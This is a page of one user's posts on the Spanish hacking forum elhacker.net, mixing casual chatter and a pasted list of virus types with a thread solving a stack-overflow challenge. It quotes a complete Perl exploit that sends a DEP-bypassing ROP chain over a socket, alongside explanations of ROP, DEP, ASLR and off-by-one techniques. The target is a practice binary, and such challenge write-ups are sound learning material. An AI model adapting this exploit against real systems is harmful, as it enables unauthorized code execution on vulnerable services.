elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 32
51  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Duda que esta pasando en el foro? El hacking esta muriendo en: 9 Febrero 2015, 15:27 pm
Muchachos el cambio empieza por uno mismo.
Hay gente muy grosa que visita de vez en cuando el foro, solo es cuestion de preguntar.
No todos tienen el tiempo suficiente para estar creando tutoriales o cosas por el estilo , pero si para tirarte una mano en las preguntas.
Hay que moverse , hay mucho que aprender y poco tiempo, los libros son la solucion, el foro algo extra para consultar.
No se puede depender de una persona para progresar.

¿Hackear NASA?¿Hackear CIA?Como reto es interesante , como meta , deja que desear.Que tal algo mas grande , trascender en tu materia , inmortalizarte.Inventar algoritmos de compresion , de ordenamiento , de busqueda , etc , mas efectivos.Diseñar metodos de proteccion mas seguros.Aportar al area.
52  Foros Generales / Foro Libre / Re: Hay algo parecido a esto? en: 7 Febrero 2015, 19:25 pm
Al parecer no funca mas.
53  Seguridad Informática / Análisis y Diseño de Malware / Re: virus al descargar metasploit en: 7 Febrero 2015, 16:28 pm
Wiki
Citar
Existen diversos tipos de virus, varían según su función o la manera en que este se ejecuta en nuestra computadora alterando la actividad de la misma, entre los más comunes están:



Troyano: Consiste en robar información o alterar el sistema del hardware o en un caso extremo permite que un usuario externo pueda controlar el equipo.
Gusano: Tiene la propiedad de duplicarse a sí mismo. Los gusanos utilizan las partes automáticas de un sistema operativo que generalmente son invisibles al usuario.
Bombas lógicas o de tiempo: Son programas que se activan al producirse un acontecimiento determinado. La condición suele ser una fecha (Bombas de Tiempo), una combinación de teclas, o ciertas condiciones técnicas (Bombas Lógicas). Si no se produce la condición permanece oculto al usuario.
Hoax: Los hoax no son virus ni tienen capacidad de reproducirse por si solos. Son mensajes de contenido falso que incitan al usuario a hacer copias y enviarla a sus contactos. Suelen apelar a los sentimientos morales ("Ayuda a un niño enfermo de cáncer") o al espíritu de solidaridad ("Aviso de un nuevo virus peligrosísimo") y, en cualquier caso, tratan de aprovecharse de la falta de experiencia de los internautas novatos.
Joke: Al igual que los hoax, no son virus, pero son molestos, un ejemplo: una página pornográfica que se mueve de un lado a otro, y si se le llega a dar a cerrar es posible que salga una ventana que diga: OMFG!! No se puede cerrar!.
Otros tipos por distintas caracterísitcas son los que se relacionan a continuación:

Virus residentes
La característica principal de estos virus es que se ocultan en la memoria RAM de forma permanente o residente. De este modo, pueden controlar e interceptar todas las operaciones llevadas a cabo por el sistema operativo, infectando todos aquellos ficheros y/o programas que sean ejecutados, abiertos, cerrados, renombrados, copiados. Algunos ejemplos de este tipo de virus son: Randex, CMJ, Meve, MrKlunky.

Virus de acción directa
Al contrario que los residentes, estos virus no permanecen en memoria. Por tanto, su objetivo prioritario es reproducirse y actuar en el mismo momento de ser ejecutados. Al cumplirse una determinada condición, se activan y buscan los ficheros ubicados dentro de su mismo directorio para contagiarlos.

Virus de sobreescritura
Estos virus se caracterizan por destruir la información contenida en los ficheros que infectan. Cuando infectan un fichero, escriben dentro de su contenido, haciendo que queden total o parcialmente inservibles.

Virus de boot (bot_kill) o de arranque
Los términos boot o sector de arranque hacen referencia a una sección muy importante de un disco o unidad de almacenamiento CD, DVD, memorias USB etc. En ella se guarda la información esencial sobre las características del disco y se encuentra un programa que permite arrancar el ordenador. Este tipo de virus no infecta ficheros, sino los discos que los contienen. Actúan infectando en primer lugar el sector de arranque de los dispositivos de almacenamiento. Cuando un ordenador se pone en marcha con un dispositivo de almacenamiento, el virus de boot infectará a su vez el disco duro.

Los virus de boot no pueden afectar al ordenador mientras no se intente poner en marcha a éste último con un disco infectado. Por tanto, el mejor modo de defenderse contra ellos es proteger los dispositivos de almacenamiento contra escritura y no arrancar nunca el ordenador con uno de estos dispositivos desconocido en el ordenador.

Algunos ejemplos de este tipo de virus son: Polyboot.B, AntiEXE.

Virus de enlace o directorio
Los ficheros se ubican en determinadas direcciones (compuestas básicamente por unidad de disco y directorio), que el sistema operativo conoce para poder localizarlos y trabajar con ellos.

Los virus de enlace o directorio alteran las direcciones que indican donde se almacenan los ficheros. De este modo, al intentar ejecutar un programa (fichero con extensión EXE o COM) infectado por un virus de enlace, lo que se hace en realidad es ejecutar el virus, ya que éste habrá modificado la dirección donde se encontraba originalmente el programa, colocándose en su lugar.

Una vez producida la infección, resulta imposible localizar y trabajar con los ficheros originales.

Virus cifrados
Más que un tipo de virus, se trata de una técnica utilizada por algunos de ellos, que a su vez pueden pertenecer a otras clasificaciones. Estos virus se cifran a sí mismos para no ser detectados por los programas antivirus. Para realizar sus actividades, el virus se descifra a sí mismo y, cuando ha finalizado, se vuelve a cifrar.

Virus polimórficos
Son virus que en cada infección que realizan se cifran de una forma distinta (utilizando diferentes algoritmos y claves de cifrado). De esta forma, generan una elevada cantidad de copias de sí mismos e impiden que los antivirus los localicen a través de la búsqueda de cadenas o firmas, por lo que suelen ser los virus más costosos de detectar.

Virus multipartites
Virus muy avanzados, que pueden realizar múltiples infecciones, combinando diferentes técnicas para ello. Su objetivo es cualquier elemento que pueda ser infectado: archivos, programas, macros, discos, etc.

Virus del fichero
Infectan programas o ficheros ejecutables (ficheros con extensiones EXE y COM). Al ejecutarse el programa infectado, el virus se activa, produciendo diferentes efectos.

Virus de FAT
La tabla de asignación de ficheros o FAT (del inglés File Allocation Table) es la sección de un disco utilizada para enlazar la información contenida en éste. Se trata de un elemento fundamental en el sistema. Los virus que atacan a este elemento son especialmente peligrosos, ya que impedirán el acceso a ciertas partes del disco, donde se almacenan los ficheros críticos para el normal funcionamiento del ordenador.

Por lo que veo tenemos un Joke,houston.
54  Foros Generales / Foro Libre / Re: Sintomas de que su hijo es un hacker en: 7 Febrero 2015, 11:26 am
Malisimo.

55  Seguridad Informática / Seguridad / Re: Otra vez [Ataque a servidor] en: 24 Enero 2015, 21:39 pm
Quizas algun fuzzer para ver si logran algun resultado extraño por parte del servidor y , asi , analizar ese fallo en busca de una posible vulnerabilidad.
O quizas penso que tenias un WAF.
Nose.

56  Foros Generales / Foro Libre / Re: [Pregunta] ¿Hacéis algún deporte? en: 24 Enero 2015, 19:54 pm
.
57  Seguridad Informática / Hacking / Re: ¿Qué necesito aprender? en: 23 Enero 2015, 20:45 pm
por otro lado tienes Python que es potente y simple, solo lado cliente y es un lenguaje de script... cosa que seguro ahora no tiene sentido...
Python es backend.

Con respecto al tema , agarra libros de algoritmos y estructuras de datos.
58  Seguridad Informática / Bugs y Exploits / Re: Solución Server Vuln de harry_the_blogger en: 23 Enero 2015, 20:40 pm
Gracias a todos por sus respuestas. Pero sigo teniendo problemas. No entiendo que estoy haciendo mal.

Comprobé las direcciones de las funciones ocultas, y coinciden con las de mi máquina. No debería haber problema.

Ahora una pregunta: Esa variable $eip = pack('V', 0x7c87f30e) puedo sustituirla por la funcion oculta directamente??? ¿Como puedo obtener yo la direccion de un ROP??

Es que estoy teniendo problemas con los exploits sencillos, y entender eso de ROPs me está costando porque no tengo experiencia previa. ¿Será que puedo explotarlo sin usar ROPs??? Creo que mi sistema tiene DEP desactivado por defecto. No habría problema, verdad??? Intenté eliminar los ROPs, pero falló igual.

Podrías explicarme brevemente como encontrar eso de ROPs??? Solo por encima, yo profundizo con internet a partir de lo que me digan.

Ah, y porque para rellenar se necesitan 64 bytes, si en mi codigo es de 60??? Estaba afectando el alignment???

Gracias por su ayuda a todos. Perdon por la preguntadera. Esto de explotar es díficil, al menos en principio. Y de paso el bachillerato no me deja tiempo para practicar. XD

Que tal?
Explica que es lo que entendes que esta pasando al ejecutar el codigo de under.

¿Exploits sencillos?
Todo es sencillo cuando se sabe hacerlo.

Lo de los ROPs(Return oriented programming) , es una forma de bypassear un tipo de seguridad que consiste en que no se pueda ejecutar nada en el stack(DEP).
Te doy un ejemplo en GNU/Linux , no soy de explotar mucho en windows soy bastante nuevo en el tema , otra forma de bypassear DEP es usando otra tecnica llamada ret2libc , que basicamente es lo mismo , retornar a una libreria donde se pueda ejecutar codigo.
Si no tiene proteccion  podes sobreescribir directamente eip , y si no podes(porque esta limitado el tamaño del buffer)con tener tan solo 1 byte para sobreescribir ebp  , podes realizar off-by-one , si tenes los 4 bytes , modificar todo ebp , y otras tecnicas mas.


Quiero ayudarte(Si puedo)pero empezemos por el principio, para ver que es lo que no te cierra , donde esta tu falla , tu bug.Asi lo parcheamos.
59  Seguridad Informática / Bugs y Exploits / Re: Solución Server Vuln de harry_the_blogger en: 21 Enero 2015, 22:12 pm
R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).



R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.


R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.


R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.

Me suena a que aprendiste con los tutes de corelan(por el tema de perl).
Python rulez bitches... jaja
60  Seguridad Informática / Bugs y Exploits / Re: Solución Server Vuln de harry_the_blogger en: 20 Enero 2015, 09:19 am
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D

¿Que necesidad de crear otro post para esto?
Para hacerlo standard , ¿se podria buscar rop en cada dll de cada sistema y que determine el shellcode segun el sistema?Si es xp sp3 -> tal , si es xp sp2 -> tal , etc.

Pd:No lo tomes como ofensa , es solo una observacion.
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 32
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines